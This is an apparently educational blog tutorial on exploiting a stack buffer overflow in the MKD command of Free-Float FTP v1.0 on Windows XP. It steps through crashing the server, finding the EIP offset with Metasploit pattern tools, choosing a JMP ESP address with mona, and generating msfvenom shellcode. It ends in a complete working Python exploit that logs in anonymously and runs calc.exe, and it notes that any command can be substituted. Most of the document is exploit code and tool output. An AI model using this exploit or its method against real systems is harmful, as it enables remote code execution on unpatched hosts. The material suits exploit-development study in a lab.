Free-Float FTP : Pop calc.exe via Stack Overflow.

Hello, today I planned to exploit a basic window application as the name suggest it’s a FTP (Free-Float v1.0) which is having a stack overflow in one of the parameters today we are going to use it to execute the shellcode and hopefully at the end of the post you will know how to exploit a basic windows application.

Requirements :

Windows XP SP-2/3

Kali Linux (For msfvenom shellcode generation)

Free-Float FTP v 1.0

So first we need to install immunity debugger, free float FTP on the windows XP machine.

This is how the free float FTP server looks like, while you are trying to ping a Windows XP machine you might not be able to ping it, because you need to disable the firewall to connect to it and exploit it.

Basic about FTP

There’s something we know as “anonymous user” on a FTP server which is much like the default credentials to access the FTP in this case it’s

anonymous : anonymous

Now let’s write a python script to connect to it.

So as the image above says my FTP is running on 192.168.179.141 and default FTP port 21

C:\Users\Coding_Karma>python
Python 2.7.15 |Anaconda, Inc.| (default, May 1 2018, 18:37:09) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket,sys
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> port = 21
>>> s.connect(('192.168.179.141',21))
>>> s.recv(1024)
'220 FreeFloat Ftp Server (Version 1.00).\r\n'
>>> s.send("USER anonymous \n")
16
>>> s.recv(1024)
'331 Password required for anonymous .\r\n'
>>> s.send("PASS anonymous \n")
16
>>> s.recv(1024)
'230 User anonymous logged in.\r\n'
>>> junk = "A" * 1000
>>> s.send('MKD'+junk+'\n')
1004
>>> s.recv(1024)
"500 'MKDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': command not u"
>>> s.send('QUIT \n')
6
>>> s.close
<bound method _socketobject.close of <socket._socketobject object at 0x0000000002E12B40>>
>>>

So from the script above we can see after supplying USER anonymous and PASS anonymous we tried to create a directory by MKD <name> and after exiting we got an error.

Here the name is the payload which was 1000 * "A"

Let’s check the status of FTP on windows XP.

So as we can see that it crashed it means we know that the 1,000 A’s are sufficient to cause the overflow.

So next up, we need to figure out how much data goes to MKD <name> to over-ride the ESP

So for that I am going to use msf-pattern_create to create a unique length string that helps me identify the offset.

root@kali:~/POP-Calc# msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Let’s use this as a payload to analyze where it crashes and to get an offset.

Now this is where the debugger comes in play, we need to attach Float FTP with the debugger to look at the stack.

Run the FTP and attach it to immunity debugger.

Once it’s loaded this is how it looks

Pane 1 shows the registers
Pane 2 shows the current instruction
Pane 3 shows the HEX dump

Let’s create a skeleton script

import sys,socket
from pwn import *
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.179.141',21))
s.recv(1024)
s.send('USER anonymous \r\n')
s.recv(1024)
s.send('PASS anonymous \r\n')
s.recv(1024)
s.send('MKD'+junk+'\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

After we run the program in immunity and hit exploit it crashes let’s look at ESP.

We see ESP as 6Ai7Ai that’s what we are going to use to figure out the offset.

root@kali:~/POP-Calc# msf-pattern_offset -q 6Ai7
[*] Exact match at offset 260

So now we know what’s the payload for ESP override. But we also know that the overflow occurs at 1000 * A . Let’s change the payload a bit.

Update payload looks like

junk = "A" * 260 + "BBBB" + "C" * (1000 - 264)

Let’s adjust the padding a bit and make sure EIP is overriding as BBBB

After adjusting the padding we get to know that EIP hits BBBB at

junk = "A" * 248 + "BBBB" + "C" * (1000 - 260)

Next up you need to paste mona.py to the directory where immunity is installed inside the PyCommand folder

Now we are looking for a jmp ESP if you look in the screenshot above we need to put shellcode on ESP where C’s are residing and jmp to it

so we used !mona jmp -r esp and we see this

Now we are looking for SHELL32.dll in this case I am going to choose 0x7c9c1349.

The shellcode can be generated by using MSFvenom which looks like

msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f c
-b is bad character that you need to avoid
-f for format
c for win32 shellcode
Note badchars were known beforehand in this case at times you need to manually debug to find the badchars.

Let’s add the address and insert the NOP properly to make it pop the calc.exe

After adjusting the padding and nops we get :

import sys,socket
from pwn import *
add = p32(0x7c9c1349)
shellcode = ("\xb8\x7f\xe7\x15\x2f\xdb\xdf\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x31\x31\x46\x13\x03\x46\x13\x83\xc6\x7b\x05\xe0\xd3\x6b\x4b"
"\x0b\x2c\x6b\x2c\x85\xc9\x5a\x6c\xf1\x9a\xcc\x5c\x71\xce\xe0"
"\x17\xd7\xfb\x73\x55\xf0\x0c\x34\xd0\x26\x22\xc5\x49\x1a\x25"
"\x45\x90\x4f\x85\x74\x5b\x82\xc4\xb1\x86\x6f\x94\x6a\xcc\xc2"
"\x09\x1f\x98\xde\xa2\x53\x0c\x67\x56\x23\x2f\x46\xc9\x38\x76"
"\x48\xeb\xed\x02\xc1\xf3\xf2\x2f\x9b\x88\xc0\xc4\x1a\x59\x19"
"\x24\xb0\xa4\x96\xd7\xc8\xe1\x10\x08\xbf\x1b\x63\xb5\xb8\xdf"
"\x1e\x61\x4c\xc4\xb8\xe2\xf6\x20\x39\x26\x60\xa2\x35\x83\xe6"
"\xec\x59\x12\x2a\x87\x65\x9f\xcd\x48\xec\xdb\xe9\x4c\xb5\xb8"
"\x90\xd5\x13\x6e\xac\x06\xfc\xcf\x08\x4c\x10\x1b\x21\x0f\x7e"
"\xda\xb7\x35\xcc\xdc\xc7\x35\x60\xb5\xf6\xbe\xef\xc2\x06\x15"
"\x54\x3c\x4d\x34\xfc\xd5\x08\xac\xbd\xbb\xaa\x1a\x81\xc5\x28"
"\xaf\x79\x32\x30\xda\x7c\x7e\xf6\x36\x0c\xef\x93\x38\xa3\x10"
"\xb6\x5a\x22\x83\x5a\xb3\xc1\x23\xf8\xcb")
buf = "\x90" * 30 + shellcode
junk = "A" * 248 + add + buf + "C" * (700 - len(buf))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.179.141',21))
s.recv(1024)
s.send('USER anonymous \r\n')
s.recv(1024)
s.send('PASS anonymous \r\n')
s.recv(1024)
s.send('MKD'+junk+'\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Let’s see this in action.

Now you can change the exec CMD = <whatever> and get the execution.

Thank you!